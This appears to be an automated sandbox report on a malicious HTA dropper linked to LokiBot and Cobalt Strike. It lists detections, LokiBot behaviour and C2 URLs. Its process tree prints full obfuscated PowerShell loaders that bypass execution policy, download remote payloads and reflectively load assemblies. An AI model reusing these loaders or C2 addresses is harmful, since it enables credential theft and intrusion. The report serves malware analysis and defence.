Edit tour
Windows
Analysis Report
kissmegoodthingwhichgivemebestthignswithgirluaremy.hta
Overview
General Information
Detection
Cobalt Strike, HTMLPhisher, Lokibot
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Lokibot
Yara detected Powershell download and execute
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected aPLib compressed binary
Compiles C# or VB.Net code
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: AspNetCompiler Execution
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 1264 cmdline:
mshta.exe "C:\Users\ user\Deskt op\kissmeg oodthingwh ichgivemeb estthignsw ithgirluar emy.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - powershell.exe (PID: 3160 cmdline:
"C:\Window s\SYsTem32 \wiNdOwSPo wErSHelL\v 1.0\poWErS HELL.EXE" "POwERshel L.ExE -eX bYpasS -NOP -w 1 -C DeVIceCr EdENTialdE PLOYMeNT ; InVOke- expRESSioN ($(InVokE- eXpReSsioN ('[systEM. text.encoD inG]'+[ChA r]0x3A+[Ch aR]0x3A+'U tF8.getSTR ing([syste m.conVeRt] '+[chaR]0X 3a+[Char]0 x3A+'fROMb ASE64sTrin G('+[CHAR] 0X22+'JHc4 Mm1RRCAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgID 0gICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBhREQt VHlwRSAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1tZW1iRVJk RUZJTmlUaW 9OICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgJ1tE bGxJbXBvcn QoInVyTG1P Ti5kbGwiLC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIENoYXJT ZXQgPSBDaG FyU2V0LlVu aWNvZGUpXX B1YmxpYyBz dGF0aWMgZX h0ZXJuIElu dFB0ciBVUk xEb3dubG9h ZFRvRmlsZS hJbnRQdHIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBJdCxzdH JpbmcgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBH Z2J5dVJqRE 9ULHN0cmlu ZyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIHN6S3 pyLHVpbnQg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBwVVIsSW 50UHRyICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg UHpYKTsnIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLW5hbUUg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAidUdVV2 9mIiAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1O QU1lc3BBY2 UgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICB5UW9O c3ZVWVFmIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLVBhc3NU aHJ1OyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC R3ODJtUUQ6 OlVSTERvd2 5sb2FkVG9G aWxlKDAsIm h0dHA6Ly8x OTIuMy4yND MuMTM2LzMy L3NlZW15Ym VzdHRoaW5n c3dpdGhlbn RpcmVsaWZl dGltZXRoaW 5nc3RvZG9t eWJlc3QudE lGIiwiJGVO djpBUFBEQV RBXHNlZW15 YmVzdHRoaW 5nc3dpdGhl bnRpcmVsaW ZldGltZXRo aW5nc3RvZG 9teWIudmJT IiwwLDApO1 NUYXJULXNM ZUVQKDMpO2 lleCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICIk RU5WOkFQUE RBVEFcc2Vl bXliZXN0dG hpbmdzd2l0 aGVudGlyZW xpZmV0aW1l dGhpbmdzdG 9kb215Yi52 YlMi'+[ChA r]34+'))') ))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 2796 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5732 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -eX bYpasS -NOP -w 1 -C DeVIce CrEdENTial dEPLOYMeNT MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 2364 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\glmzcldr \glmzcldr. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 6972 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SCCA7.tmp" "c:\Users \user\AppD ata\Local\ Temp\glmzc ldr\CSCA95 86F3AA9154 53C854280B CC33938CA. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 5560 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seemy bestthings withentire lifetimeth ingstodomy b.vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 5948 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LiggJHZFck JPU2VQUkVm RVJlbkNlLl RPc3RyaW5n KClbMSwzXS sneCctSm9J bicnKSAoKC dwd2dpbWFn ZVVybCcrJy AnKyc9IG9U QWh0dHBzOi 8vMTAxNy5m aWxlbWFpbC 5jb20vYXBp L2ZpbGUvZ2 V0P2ZpbGVr ZXk9MkFhX2 JXbzlSZXU0 NXQ3QlUxa1 Znc2Q5cFQ5 cGdTU2x2U3 RHcm5UJysn SUNmRmhtVE tqM0xDNlNR dEljT2NfVD M1dyZwa192 aWQ9ZmQ0Zj YxNGJiJysn MjA5YzYyYz E3MzA5NDUx NzZhMDkwNG Ygb1RBOycr J3B3Z3dlYk NsaWVudCA9 IE5ldy1PYm plY3QgU3lz dGVtLk5ldC 5XZWJDbGll bnQ7cHdnaW 1hZ2VCeXRl cyA9IHB3Z3 dlYkNsaWVu dC5Eb3dubC crJ29hZERh dGEocHdnaW 1hZ2VVcmwp O3B3Z2ltYW dlVGV4dCA9 IFtTeXN0ZW 0uVCcrJ2V4 dC5FbmNvZG luZ106OlVU RjguR2V0U3 RyaW5nKHB3 Z2ltYWdlQn l0ZXMpO3B3 Z3N0YXJ0Rm xhZyA9IG9U QTw8QkFTRT Y0XycrJ1NU QVJUPj5vVE E7cHdnZW5k RmxhZyA9IG 9UQTw8QkFT RTY0X0VORD 4+b1RBO3B3 Z3N0YXJ0SW 5kZXggPSBw d2dpbWFnZV RleHQuSW5k ZXhPZihwd2 dzdGFydEZs YWcpO3B3Z2 VuZEluZGV4 ID0gcHdnaW 1hZ2VUZXh0 LkluZGV4Jy snT2YocHdn ZW5kRmxhZy k7cHdnJysn c3RhcnRJbm RleCAtZ2Ug MCAtYW5kIH B3Z2VuZElu ZGV4IC1ndC Bwd2dzdGFy dEluZGV4O3 B3Z3N0YXJ0 SW5kZXggKz 0gcHdnc3Rh cnRGbGFnLk xlbmd0aDtw d2diYXNlNj RMZW5ndGgg PSBwd2dlbm RJbmRleCAt IHB3Z3N0YX J0SW5kZXg7 cHdnYmFzZT Y0Q29tbWFu ZCcrJyA9IH B3Z2ltYWdl VGV4dC5TdW JzdHJpbmco cHdnc3Rhcn RJbmRleCwg cHdnYmFzZT Y0TGVuZ3Ro KTtwd2diYX NlNjRSZXZl cnNlZCA9IC 1qb2luIChw d2diYXNlNj RDb21tYW5k LlRvJysnQ2 hhckFycmF5 KCkgNG91IE ZvckVhY2gt T2JqZWN0IH sgcHdnXyB9 KVstMS4uLS hwd2diYXNl NjRDb21tYW 5kLkxlbmd0 aCldO3B3Z2 NvbScrJ21h bmRCeXRlcy A9IFtTeXN0 ZW0uQ29udm VydF06OkZy b21CYXNlNj RTdHJpbmco cHdnYmFzZT Y0UmV2ZXJz ZWQpO3B3Z2 xvYWRlZEFz c2VtYmwnKy d5ID0gW1N5 c3RlbS5SZW ZsZWN0aW9u LkFzc2VtYm x5XTo6TG9h ZChwd2djb2 1tYW5kQnl0 ZXMpO3B3Z3 ZhaU1ldGhv ZCA9IFtkbi crJ2xpYi5J Ty5Ib21lXS 5HJysnZXRN ZXRob2Qob1 RBVkFJb1RB KTtwd2d2YW knKydNZXRo b2QuSW52b2 tlKHB3Jysn Z251bGwsIE Aob1RBdHh0 LlNMTFBNUy 8yMy82MzEu MzQyLjMuMj kxLy86cHR0 aG9UQSwgb1 RBZGVzYXRp dmFkb29UQS wnKycgb1RB ZGVzJysnYX RpdmFkb29U QSwgb1RBZG VzYXQnKydp dmFkb29UQS wgb1RBYXNw bmV0X2NvbX BpbGVyb1RB LCBvVEFkJy snZXNhdGl2 YWRvb1RBLC BvVEFkZXNh dGl2YWRvb1 RBLG9UQWRl c2F0aXZhZG 9vVEEsb1RB ZGVzYXRpdm FkJysnb29U QSxvVEFkZS crJ3NhdGl2 YWRvb1RBLG 9UQWRlc2F0 aXZhZG9vVE Esb1RBZGVz YXRpJysndm Fkb29UQSxv VCcrJ0Exb1 RBLG9UJysn QWRlc2F0aX ZhZG9vVEEp KTsnKS5SZX BMQWNlKCdw d2cnLFtTVH JJbmddW0No QXJdMzYpLl JlcExBY2Uo KFtDaEFyXT ExMStbQ2hB cl04NCtbQ2 hBcl02NSks W1NUckluZ1 1bQ2hBcl0z OSkuUmVwTE FjZSgoW0No QXJdNTIrW0 NoQXJdMTEx K1tDaEFyXT ExNyksJ3wn KSk=';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile -command $ OWjuxD MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 3056 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5536 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ".( $v ErBOSePREf ERenCe.TOs tring()[1, 3]+'x'-JoI n'') (('pw gimageUrl' +' '+'= oT Ahttps://1 017.filema il.com/api /file/get? filekey=2A a_bWo9Reu4 5t7BU1kVgs d9pT9pgSSl vStGrnT'+' ICfFhmTKj3 LC6SQtIcOc _T35w&pk_v id=fd4f614 bb'+'209c6 2c17309451 76a0904f o TA;'+'pwgw ebClient = New-Objec t System.N et.WebClie nt;pwgimag eBytes = p wgwebClien t.Downl'+' oadData(pw gimageUrl) ;pwgimageT ext = [Sys tem.T'+'ex t.Encoding ]::UTF8.Ge tString(pw gimageByte s);pwgstar tFlag = oT A<<BASE64_ '+'START>> oTA;pwgend Flag = oTA <<BASE64_E ND>>oTA;pw gstartInde x = pwgima geText.Ind exOf(pwgst artFlag);p wgendIndex = pwgimag eText.Inde x'+'Of(pwg endFlag);p wg'+'start Index -ge 0 -and pwg endIndex - gt pwgstar tIndex;pwg startIndex += pwgsta rtFlag.Len gth;pwgbas e64Length = pwgendIn dex - pwgs tartIndex; pwgbase64C ommand'+' = pwgimage Text.Subst ring(pwgst artIndex, pwgbase64L ength);pwg base64Reve rsed = -jo in (pwgbas e64Command .To'+'Char Array() 4o u ForEach- Object { p wg_ })[-1. .-(pwgbase 64Command. Length)];p wgcom'+'ma ndBytes = [System.Co nvert]::Fr omBase64St ring(pwgba se64Revers ed);pwgloa dedAssembl '+'y = [Sy stem.Refle ction.Asse mbly]::Loa d(pwgcomma ndBytes);p wgvaiMetho d = [dn'+' lib.IO.Hom e].G'+'etM ethod(oTAV AIoTA);pwg vai'+'Meth od.Invoke( pw'+'gnull , @(oTAtxt .SLLPMS/23 /631.342.3 .291//:ptt hoTA, oTAd esativadoo TA,'+' oTA des'+'ativ adooTA, oT Adesat'+'i vadooTA, o TAaspnet_c ompileroTA , oTAd'+'e sativadooT A, oTAdesa tivadooTA, oTAdesativ adooTA,oTA desativad' +'ooTA,oTA de'+'sativ adooTA,oTA desativado oTA,oTAdes ati'+'vado oTA,oT'+'A 1oTA,oT'+' Adesativad ooTA));'). RepLAce('p wg',[STrIn g][ChAr]36 ).RepLAce( ([ChAr]111 +[ChAr]84+ [ChAr]65), [STrIng][C hAr]39).Re pLAce(([Ch Ar]52+[ChA r]111+[ChA r]117),'|' ))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - aspnet_compiler.exe (PID: 3092 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_compil er.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Loki Password Stealer (PWS), LokiBot | "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2 |
{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "94.156.177.95/simple/five/fre.php"]}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot | Yara detected Lokibot | Joe Security | ||
JoeSecurity_aPLib_compressed_binary | Yara detected aPLib compressed binary | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Windows_Trojan_Lokibot_1f885282 | unknown | unknown |
| |
Windows_Trojan_Lokibot_0f421617 | unknown | unknown |
| |
Click to see the 20 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_aPLib_compressed_binary | Yara detected aPLib compressed binary | Joe Security | ||
Windows_Trojan_Lokibot_1f885282 | unknown | unknown |
| |
Windows_Trojan_Lokibot_0f421617 | unknown | unknown |
| |
Loki_1 | Loki Payload | kevoreilly |
| |
Lokibot | detect Lokibot in memory | JPCERT/CC Incident Response Group |
| |
Click to see the 24 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems): |